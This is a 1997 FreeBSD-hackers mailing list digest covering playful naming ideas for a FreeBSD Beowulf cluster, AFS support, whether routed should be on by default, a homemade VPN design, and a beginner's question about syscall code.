(Jordan K. Hubbard) Date: Tue, 7 Oct 1997 20:56:21 +0000 () Cc: lada@ws6303.gud.siemens.at, tlambert@primenet.com, adrian@virginia.edu, rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG In-Reply-To: <5361.876213747@time.cdrom.com> from "Jordan K. Hubbard" at Oct 7, 97 01:42:27 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk +-----[ Jordan K. Hubbard ]------------------------------ | | > How about "The Swarm" then? It would have already been built had I not | > bought myself a place to live instead. It had sort of a priority over | > toys :( | | Hmmm. Swarm. That makes me think of locusts, those industrious | little insects which often move from place to place in great numbers, | eating and overcoming all in their path. How about the 'Hive' then for a group of industrious hardworking insects working in harmony... | Yeah, I like it! It's got legs, gents! Let's do it!! Let's... | What? I should stick to engineering, you say? But it's so *catchy*, | I mean, haha, consider just the pun opportunities! No? Well fine, be | that way then! [*sulk*] Where's the place where all the daemons play? HELL? d8) -- ,-_|\ SneakerNet | Andrew Milton | GSM: +61(41)6 022 411 / \ P.O. Box 154 | akm@sneaker.net.au | Fax: +61(2) 9746 8233 \_,-._/ N Strathfield +--+----------------------+---+ Ph: +61(2) 9746 8233 v NSW 2137 | Low cost Internet Solutions | From owner-freebsd-hackers Tue Oct 7 04:57:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA19759 for hackers-outgoing; Tue, 7 Oct 1997 04:57:38 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA19752 for ; Tue, 7 Oct 1997 04:57:35 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: from argus.tfs.net (node25.tfs.net [207.2.220.25]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id GAA20459; Tue, 7 Oct 1997 06:56:05 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.7/8.8.5) id GAA01319; Tue, 7 Oct 1997 06:57:29 -0500 (CDT) From: Jim Bryant Message-Id: <199710071157.GAA01319@argus.tfs.net> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710072056.UAA13876@mother.sneaker.net.au> from Andrew Kenneth Milton at "Oct 7, 97 08:56:21 pm" To: akm@mother.sneaker.net.au (Andrew Kenneth Milton) Date: Tue, 7 Oct 1997 06:57:28 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > +-----[ Jordan K. Hubbard ]------------------------------ > | > | > How about "The Swarm" then? It would have already been built had I not > | > bought myself a place to live instead. It had sort of a priority over > | > toys :( > | > | Hmmm. Swarm. That makes me think of locusts, those industrious > | little insects which often move from place to place in great numbers, > | eating and overcoming all in their path. > > How about the 'Hive' then for a group of industrious hardworking insects > working in harmony... hmmm.... "The Hive", i like it. hives have intelligent movement of data, cell stucture, and get a lot of work done! but then, someone is sure to mention that the other kind of hives are caused by herpes, and nobody wants that :^( ahh, simply put a gif of a BEE and some honeycomb [yumm, sweet] in the tarball, and that connection won't be made, unless the implementation sucks... heheheheh, i've got to say it, if only for terry's sake... HyperHive > | Yeah, I like it! It's got legs, gents! Let's do it!! Let's... > | What? I should stick to engineering, you say? But it's so *catchy*, > | I mean, haha, consider just the pun opportunities! No? Well fine, be > | that way then! [*sulk*] I think Jordan needs some sleep... The Plague? jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Tue Oct 7 05:01:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA20001 for hackers-outgoing; Tue, 7 Oct 1997 05:01:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA19996; Tue, 7 Oct 1997 05:01:30 -0700 (PDT) (envelope-from dcarmich@Venus.mcs.net) Received: from Venus.mcs.net (dcarmich@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id HAA27247; Tue, 7 Oct 1997 07:01:28 -0500 (CDT) Received: (from dcarmich@localhost) by Venus.mcs.net (8.8.7/8.8.2) id HAA23184; Tue, 7 Oct 1997 07:01:27 -0500 (CDT) From: Douglas Carmichael Message-Id: <199710071201.HAA23184@Venus.mcs.net> Subject: Related to the "HyperPool" name To: jbryant@tfs.net Date: Tue, 7 Oct 1997 07:01:27 -0500 (CDT) Cc: freebzxdfree[D[D[D@Venus.mcs.net X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Student: "Headmaster, I have found the perfect addition to our computing resources." Head: "What is it?" Student: "A HyperPool." Head: "What do you mean? We already have a pool in the athletic center." Student: "No, not that kind of pool. It'll be great. 1 gigabit per second ATM OC-48 infrastructure, twin 300 MHz Pentium II, the whole school can rock 'n roll all night, man." Head (in the stereotypical loud "NO" voice): "WE ARE NOT GOING TO HAVE SEX, DRUGS, THAT STUPID F***ING ROCK 'N ROLL MUSIC, OR ANY KIND OF HIGH-SPEED POOL OR WHATEVER IT IS IN THIS SCHOOL!!!!!!!!!". (lots of pounding on desk, screaming by head/student) From owner-freebsd-hackers Tue Oct 7 05:32:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA21828 for hackers-outgoing; Tue, 7 Oct 1997 05:32:22 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA21816 for ; Tue, 7 Oct 1997 05:32:18 -0700 (PDT) (envelope-from kuku@gilberto.physik.RWTH-Aachen.DE) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by Campino.Informatik.RWTH-Aachen.DE (8.8.7/RBI-Z13) with ESMTP id OAA02978 for ; Tue, 7 Oct 1997 14:32:26 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id OAA01500 for freebsd-hackers@freefall.cdrom.com; Tue, 7 Oct 1997 14:40:16 +0200 (MEST) Date: Tue, 7 Oct 1997 14:40:16 +0200 (MEST) From: Christoph Kukulies Message-Id: <199710071240.OAA01500@gil.physik.rwth-aachen.de> To: freebsd-hackers@freefall.FreeBSD.org Subject: afs - is there an implementation for FreeBSD? Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As the subject already asks: Is anyone running AFS successfully under FreeBSD? -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Tue Oct 7 05:46:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA22853 for hackers-outgoing; Tue, 7 Oct 1997 05:46:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id FAA22848 for ; Tue, 7 Oct 1997 05:46:14 -0700 (PDT) (envelope-from rminnich@Sarnoff.COM) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id IAA19848; Tue, 7 Oct 1997 08:45:05 -0400 Date: Tue, 7 Oct 1997 08:45:04 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: Terry Lambert cc: dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710061849.LAA15815@usr04.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I vote for "Legion", because of the obvious tip of the hat to Chuck... but legion is taken ... ron From owner-freebsd-hackers Tue Oct 7 06:19:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA24885 for hackers-outgoing; Tue, 7 Oct 1997 06:19:41 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from phoenix.its.rpi.edu (phoenix.its.rpi.edu [128.113.161.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA24867 for ; Tue, 7 Oct 1997 06:19:32 -0700 (PDT) (envelope-from dec@phoenix.its.rpi.edu) Received: from localhost (dec@localhost) by phoenix.its.rpi.edu (8.8.7/8.8.7) with SMTP id JAA10364; Tue, 7 Oct 1997 09:19:13 -0400 (EDT) Date: Tue, 7 Oct 1997 09:19:13 -0400 (EDT) From: "David E. Cross" To: Christoph Kukulies cc: freebsd-hackers@freefall.FreeBSD.org Subject: Re: afs - is there an implementation for FreeBSD? In-Reply-To: <199710071240.OAA01500@gil.physik.rwth-aachen.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997, Christoph Kukulies wrote: > > As the subject already asks: Is anyone running AFS successfully under > FreeBSD? The last I have heard on this, the answer is no. There was someone working at Intel on this I think (working unofficially). I would be interested in taking up the torch on this (through my school, I already have a source license, I would just need 'permission' from TransARC/IBM to do the port). If the former maintainer could get back to ne, I would appreeciate, I have lost his email address. -- David Cross ACS Consultant From owner-freebsd-hackers Tue Oct 7 06:31:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA25662 for hackers-outgoing; Tue, 7 Oct 1997 06:31:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id GAA25655; Tue, 7 Oct 1997 06:31:43 -0700 (PDT) (envelope-from rminnich@Sarnoff.COM) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id JAA20146; Tue, 7 Oct 1997 09:25:09 -0400 Date: Tue, 7 Oct 1997 09:25:09 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: lada@ws6303.gud.siemens.at cc: tlambert@primenet.com, adrian@virginia.edu, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710070817.KAA21886@ws6423.gud.siemens.at> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk swarm is taken. ron Ron Minnich |Java: an operating-system-independent, rminnich@sarnoff.com |architecture-independent programming language (609)-734-3120 |for Windows/95 and Windows/NT on the Pentium ftp://ftp.sarnoff.com/pub/mnfs/www/docs/cluster.html From owner-freebsd-hackers Tue Oct 7 07:01:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA27554 for hackers-outgoing; Tue, 7 Oct 1997 07:01:55 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id HAA27519 for ; Tue, 7 Oct 1997 07:01:45 -0700 (PDT) (envelope-from jamie@itribe.net) Message-Id: <199710071341.JAA03725@gatekeeper.itribe.net> Received: forwarded by SMTP 1.5.2. Date: Tue, 7 Oct 1997 09:45:17 -0400 (EDT) From: Jamie Bowden To: Greg Lehey cc: Joerg Wunsch , andrewb@mpa.oz.au, FreeBSD Hackers Subject: Re: gateway problems In-Reply-To: <19971007190117.27808@lemis.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id HAA27525 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997, Greg Lehey wrote: > On Tue, Oct 07, 1997 at 09:48:57AM +0200, J Wunsch wrote: > > (Moved to -questions) > > (moved this part back to -hackers :-) > > > As andrewb@mpa.oz.au wrote: > > > >> I also am using routed, although Im not sure of the difference b/w > >> that and gated, and when either should be used. > > > > Rule #1: If you don't know what they are for, you don't need them. > > I've always suggested that it were a better default to shut them off, > > so only people who know what they are for enable them. I've been put > > down on this, alas. > > I agree entirely (see, Jörg, I don't always disagree with you :-) > > Why do we have this enabled as default? 95% of FreeBSD users > (including, I suspect, a large number on -hackers) neither need nor > understand routing protocols. Since they frequently try to add static > routes, the results can be confusing, to put it mildly. > > Greg > I believe this to be especially true in the case of routing daemons. I have only used routing daemons on UNIX boxes where the servers were dual interface machines that served as routers to the subnet their clients lived on. None of the clients needed routing daemons. I very seriously doubt that most of the freebsd boxes in the world need routing daemons, and none of them need them as a default. But hey, at least we can say we have something in common with a commercial UNIX. The first thing I do to a new Irix install is 'chkconfig routed off'. Jamie Bowden System Administrator, iTRiBE.net Abusenet: The Misinformation Superhighway From owner-freebsd-hackers Tue Oct 7 08:19:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA02889 for hackers-outgoing; Tue, 7 Oct 1997 08:19:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pluto.plutotech.com (ken@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA02750; Tue, 7 Oct 1997 08:17:38 -0700 (PDT) (envelope-from ken@plutotech.com) Received: (from ken@localhost) by pluto.plutotech.com (8.8.5/8.8.5) id JAA28930; Tue, 7 Oct 1997 09:14:07 -0600 (MDT) From: Kenneth Merry Message-Id: <199710071514.JAA28930@pluto.plutotech.com> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710072056.UAA13876@mother.sneaker.net.au> from Andrew Kenneth Milton at "Oct 7, 97 08:56:21 pm" To: akm@mother.sneaker.net.au (Andrew Kenneth Milton) Date: Tue, 7 Oct 1997 09:14:07 -0600 (MDT) Cc: jkh@time.cdrom.com, lada@ws6303.gud.siemens.at, tlambert@primenet.com, adrian@virginia.edu, rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28s (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Andrew Kenneth Milton wrote... > +-----[ Jordan K. Hubbard ]------------------------------ > | > | > How about "The Swarm" then? It would have already been built had I not > | > bought myself a place to live instead. It had sort of a priority over > | > toys :( > | > | Hmmm. Swarm. That makes me think of locusts, those industrious > | little insects which often move from place to place in great numbers, > | eating and overcoming all in their path. > > How about the 'Hive' then for a group of industrious hardworking insects > working in harmony... The name 'Beehive' is already in use: http://www.cc.gatech.edu/people/home/aman/beehive/index.html Ken -- Kenneth Merry ken@plutotech.com From owner-freebsd-hackers Tue Oct 7 08:20:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA02972 for hackers-outgoing; Tue, 7 Oct 1997 08:20:08 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from bmccane.uit.net (bmccane.uit.net [209.83.205.48]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA02855 for ; Tue, 7 Oct 1997 08:19:42 -0700 (PDT) (envelope-from toor@bmccane.uit.net) Received: (from root@localhost) by bmccane.uit.net (8.8.7/8.8.5) id KAA24649; Tue, 7 Oct 1997 10:18:31 -0500 (CDT) Date: Tue, 7 Oct 1997 10:18:30 -0500 (CDT) From: Wm Brian McCane To: John-Mark Gurney cc: hackers@FreeBSD.ORG Subject: Re: SKIP In-Reply-To: <19971006194105.38549@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Okay, Here is what I have/have to do. /^^^^^\ ROUTER 1 ( LAN 1 }--{ipfw/(skip|swipe|...)}--{Pipeline 50} \vvvvv/ | | {ISP} <---Internet---> {ISP} | | ROUTER 2 /^^^^^\ {Pipeline 50}--{ipfw/(skip|swipe|...)}--{ LAN 2 ) \vvvvv/ LAN 1 is 192.168.1.0/24 LAN 2 is 192.168.4.0/24 ROUTER 1a is 192.168.1.251 ROUTER 1b is 207.142.125.225/28 ROUTER 2a is 192.168.4.251 ROUTER 2b is 204.132.78.206/28 NOTE: Internet addresses are not exactly right 8). Data on LAN 1, destined for 192.168.4.0 needs to be caught in ROUTER 1, and then packaged up, and sent to ROUTER 2, who unpacks the data and dumps it on the local network. Data on LAN 2, destined for 192.168.0.0, but not 192.168.4.0 needs to be caught in ROUTER 2, and then packaged up, and sent to ROUTER 1, who unpacks the data and dumps it on the local network. What I am now looking at is an implementation somewhat similar to the way that natd works with divert sockets. I have already configured a firewall on both ROUTER 1 and 2. What I think I want to do is set up rules in the firewall's to divert the appropriate addresses to the "vpnd". He will then encapsulate the data and send it to the other router. In the encapsulate phase, I will probably bsdcomp the data to be sent, and encrypt it with some very lame encryption. I was thinking of using a scheme where each machine has the encryption keys stored in a text file, and simply uses them to en/decrypt the data. Very basic. Does this look like it will work. Am I insane to even think of trying to write the "vpnd" program? I am most concerned with figuring out how to write the "vpnd", although I have looked at the "natd" code, and it looks fairly straight forward to me. I would simply create a "pipe" from ROUTER 1b to ROUTER 2b. Then as data comes in from the divert socket, I would direct it out through the "pipe". The place where I have problems is when a packet comes in on the "pipe". How do I inject the received data on to my local network? brian +-------------------------------------+----------------------------------------+ He rides a cycle of mighty days, and \ Wm Brian and Lori McCane he represents the last great schizm \ McCane Consulting among the gods. Evil though he obviously \ root@bmccane.uit.net is, he is a mighty figure, this father of \ http://bmccane.uit.net/ my spirit, and I respect him as the sons \ http://bmccane.uit.net/~pictures/ of old did the fathers of their bodies. \ http://bmccane.uit.net/~bmccane/ Roger Zelazny - "Lord of Light" \ http://bmccane.uit.net/~bbs/ +---------------------------------------------+--------------------------------+ On Mon, 6 Oct 1997, John-Mark Gurney wrote: > Wm Brian McCane scribbled this message on Oct 6: > > Hello, > > > > I asked a while back about setting up a Virtual Private Network. > > Many people suggested SKIP and 1 suggested swIPe. I have been looking at > > the SKIP documentation, and I think we may have had a slight misunderstanding. > > > > From what I have read so far in the SKIP docs, it is to connect > > Machine A to Machine B via a "secure" pipe. And I have seen a little > > bit about possible connection Machine A to LAN C. But what I need to do > > is connect LAN C to LAN D. Is this possible with SKIP, swIPe, or a > > player to be named later? > > if you don't need extreme bandwidth.. then simply use iij-ppp... right > now a friend and I are connected via a private network this way... he > used to dial into my machine, but then moved to better connectivity, so > now we just tunnle it down... > > the man page for iij-ppp pretty much describes what you need to do... > > ttyl.. > > -- > John-Mark Gurney Modem/FAX: +1 541 683 6954 > Cu Networking > > Live in Peace, destroy Micro$oft, support free software, run FreeBSD > From owner-freebsd-hackers Tue Oct 7 08:53:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA05591 for hackers-outgoing; Tue, 7 Oct 1997 08:53:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA05585 for ; Tue, 7 Oct 1997 08:53:42 -0700 (PDT) (envelope-from Anthony.Kimball@East.Sun.COM) Received: from East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id IAA05139 for ; Tue, 7 Oct 1997 08:54:59 -0700 Received: from suneast.East.Sun.COM by East.Sun.COM (SMI-8.6/SMI-5.3) id LAA17162; Tue, 7 Oct 1997 11:53:09 -0400 Received: from compound.east.sun.com by suneast.East.Sun.COM (SMI-8.6/SMI-SVR4) id LAA05771; Tue, 7 Oct 1997 11:53:08 -0400 Received: (from alk@localhost) by compound.east.sun.com (8.8.7/8.7.3) id LAA26271; Tue, 7 Oct 1997 11:00:02 -0500 (CDT) Date: Tue, 7 Oct 1997 11:00:02 -0500 (CDT) Message-Id: <199710071600.LAA26271@compound.east.sun.com> From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: O9M"E%K;(f-Go/XDxL+pCxI5*gr[=FN@Y`cl1.Tn Reply-To: anthony.kimball@East.Sun.COM To: hackers@freebsd.org Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD X-Mailer: VM 6.33 under 19.14 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The principal software bit missing from BSD is coscheduling. I believe the PGHPF compiler for Linux should suffice to compile HPFortran code for a cluster, but without synchronous scheduling of the related processes of distinct cluster nodes, network performance will stink unless you restrict yourself to running one application at a time. From owner-freebsd-hackers Tue Oct 7 09:13:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA06884 for hackers-outgoing; Tue, 7 Oct 1997 09:13:24 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA06879 for ; Tue, 7 Oct 1997 09:13:20 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.6/8.6.12) with SMTP id JAA11437; Tue, 7 Oct 1997 09:10:06 -0700 (PDT) Message-Id: <199710071610.JAA11437@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: anthony.kimball@east.sun.com Cc: hackers@freebsd.org Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD Reply-To: Jason Thorpe From: Jason Thorpe Date: Tue, 07 Oct 1997 09:10:05 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997 11:00:02 -0500 (CDT) Tony Kimball wrote: > The principal software bit missing from BSD is coscheduling. I > believe the PGHPF compiler for Linux should suffice to compile And, in fact, I have used that compiler under NetBSD for just such a purpose. You need to get the full Linux toolchain and includes, and create Linux executables, but that's no big deal. Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: +1 408 866 1912 NAS: M/S 258-6 Work: +1 415 604 0935 Moffett Field, CA 94035 Pager: +1 415 428 6939 From owner-freebsd-hackers Tue Oct 7 09:51:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA09966 for hackers-outgoing; Tue, 7 Oct 1997 09:51:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA09960 for ; Tue, 7 Oct 1997 09:51:48 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id SAA14791 for hackers@freebsd.org; Tue, 7 Oct 1997 18:51:30 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id SAA11153; Tue, 7 Oct 1997 18:40:41 +0200 (MET DST) Message-ID: <19971007184041.OZ39629@uriah.heep.sax.de> Date: Tue, 7 Oct 1997 18:40:41 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@freebsd.org (FreeBSD Hackers) Subject: Re: gateway problems References: <19971007190117.27808@lemis.com> <199710071341.JAA03725@gatekeeper.itribe.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710071341.JAA03725@gatekeeper.itribe.net>; from Jamie Bowden on Oct 7, 1997 09:45:17 -0400 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jamie Bowden wrote: (Greg:) > > I agree entirely (see, Jörg, I don't always disagree with you :-) ;) > > Why do we have this enabled as default? Those who were complaining are people who rely on rdisc (router discovery protocol) on their networks. At least, we should make routed more restrictive (-P norip, i believe). I'm more leaned towards making it a ``you gotta enable it explicitly'' solution. > But hey, at least we can say we > have something in common with a commercial UNIX. The first thing I do to > a new Irix install is 'chkconfig routed off'. Good they've got that knob at all. On SC0, you gotta remove /etc/routed in order to do this. Needless to say, their `check integrity' cron job will then bitterly complain every night that you've removed the link... -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Oct 7 14:14:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA23299 for hackers-outgoing; Tue, 7 Oct 1997 14:14:33 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from graft.xcf.berkeley.edu (graft.XCF.Berkeley.EDU [128.32.43.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA23294 for ; Tue, 7 Oct 1997 14:14:30 -0700 (PDT) (envelope-from nordwick@graft.xcf.berkeley.edu) Received: (from nordwick@localhost) by graft.xcf.berkeley.edu (8.8.5/8.8.5) id OAA01979; Tue, 7 Oct 1997 14:14:58 -0700 (PDT) Date: Tue, 7 Oct 1997 14:14:58 -0700 (PDT) Message-Id: <199710072114.OAA01979@graft.xcf.berkeley.edu> From: Jason Alan Nordwick MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: freebsd-hackers@freebsd.org Subject: where is write/read/... syscalls ? X-Mailer: VM 6.32 under Emacs 19.34.1 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I tried asking this on -questions, but got no response... When I use the libc call write or read or any of the syscalls, where is the code for them ? is that libkern ? is libkern all the kernel entry points ? then where is kernel code for the corresponding syscall ? I am a newbie to kernel hacking and can look my way through the src, but still have problems find things. Any advice for me ? I read McKusic book (DIB4.4) several times piecemeal. Thanks, Jay -- Join the FreeBSD Revolution! mailto:nordwick@xcf.berkeley.edu http://xcf.berkeley.edu/~nordwick From owner-freebsd-hackers Tue Oct 7 14:27:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA24310 for hackers-outgoing; Tue, 7 Oct 1997 14:27:02 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA24171; Tue, 7 Oct 1997 14:24:12 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id OAA08285; Tue, 7 Oct 1997 14:24:07 -0700 (MST) From: Terry Lambert Message-Id: <199710072124.OAA08285@usr05.primenet.com> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD To: ken@plutotech.com (Kenneth Merry) Date: Tue, 7 Oct 1997 21:24:07 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG In-Reply-To: <199710071514.JAA28930@pluto.plutotech.com> from "Kenneth Merry" at Oct 7, 97 09:14:07 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > | > How about "The Swarm" then? It would have already been built had I not > > | > bought myself a place to live instead. It had sort of a priority over > > | > toys :( > > | > > | Hmmm. Swarm. That makes me think of locusts, those industrious > > | little insects which often move from place to place in great numbers, > > | eating and overcoming all in their path. > > > > How about the 'Hive' then for a group of industrious hardworking insects > > working in harmony... > > The name 'Beehive' is already in use: Palanquin. It even has an obvious graphic: a bunch of BSD daemons at the cross members, carryuing it. Terry 